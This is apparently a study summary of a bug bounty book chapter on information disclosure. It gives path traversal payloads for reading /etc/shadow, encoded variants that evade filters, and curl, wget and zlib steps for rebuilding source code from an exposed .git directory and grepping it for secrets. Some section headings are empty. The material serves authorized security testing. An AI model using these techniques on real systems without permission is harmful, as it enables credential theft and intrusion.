Table of Contents

BBC Ch 21: Information Disclosure

Source: Bug Bounty Bootcamp by Vickie Li

Information disclosure bugs occur when an application exposes data it shouldn't – version numbers, config files, source code, credentials, internal IPs, or users' private data. These bugs are among the most commonly found during bug bounty hunting.

Types of Information Leaked

Common leak sources: HTTP response headers (X-Powered-By: PHP/5.2.17), exposed .git directories, public GitHub/Pastebin posts, public HTML/JS files.

Prevention

Hunting for Information Disclosure

Step 1: Path Traversal

Manipulate file path parameters with ../ to escape the intended directory: <code> https://example.com/image?url=/images/../../../../../../../etc/shadow ```

Encoded variants if raw ../ is blocked: <code> %2e%2e%2f (URL encoding) %252e%252e%255f (double URL encoding) ..%2f (partial encoding) ```

Step 2: Search the Wayback Machine

https://web.archive.org/web/*/DOMAIN/* – lists all archived URLs for a domain.

Search archived URLs for:

Download and grep archived pages for hardcoded credentials, hidden endpoints.

Step 3: Search Paste Dump Sites

Developers use Pastebin and GitHub Gists to share code snippets; files are public by default. Search for the target organization's name, domain, or developer emails.

Tools:

Step 4: Reconstruct Source Code from Exposed .git Directory

Check if the .git directory is public: <code> https://example.com/.git (directory listing?) curl https://example.com/.git/config (file accessible?) ```

If directory listing is enabled: download recursively: <code> wget -r example.com/.git ```

If listing is disabled but files are accessible: reconstruct manually.

Start with known files: <code> curl https://example.com/.git/HEAD

  1. > ref: refs/heads/master

curl https://example.com/.git/refs/heads/master

  1. > 0a66452433322af3d319a377415a890c70bbd263 (commit hash)

curl https://example.com/.git/objects/0a/66452433322af3d319a377415a890c70bbd263

(download commit object)

git cat-file -p COMMIT_HASH

  1. > tree TREE_HASH (get tree hash)

git cat-file -p TREE_HASH

  1. > blob BLOB_HASH source.py (list files)

curl https://example.com/.git/objects/BLOB_PREFIX/BLOB_SUFFIX

(download the blob)

```

Decompress downloaded object files (Git uses zlib): <code> ruby -rzlib -e 'print Zlib::Inflate.new.inflate(STDIN.read)' < OBJECT_FILE python3 -c 'import zlib, sys; print(zlib.decompress(sys.stdin.buffer.read()).decode())' < OBJECT_FILE ```

After reconstructing source code, grep for secrets: <code> grep -r “password|api_key|secret|token” . ```

Use TruffleHog or Gitleaks for entropy-based secret scanning.

Step 5: Find Information in Public Files (HTML/JS)

Escalating the Attack

5-Step Checklist

  1. Use recon (headers, error messages) to find software version numbers and config hints.
  2. Attempt path traversal on file parameters to read /etc/shadow or config files.
  3. Search Wayback Machine and paste dump sites for exposed historical files.
  4. Check for exposed .git directory; reconstruct source code if found.
  5. Grep public HTML/JS files for credentials and internal details; validate all found credentials before reporting.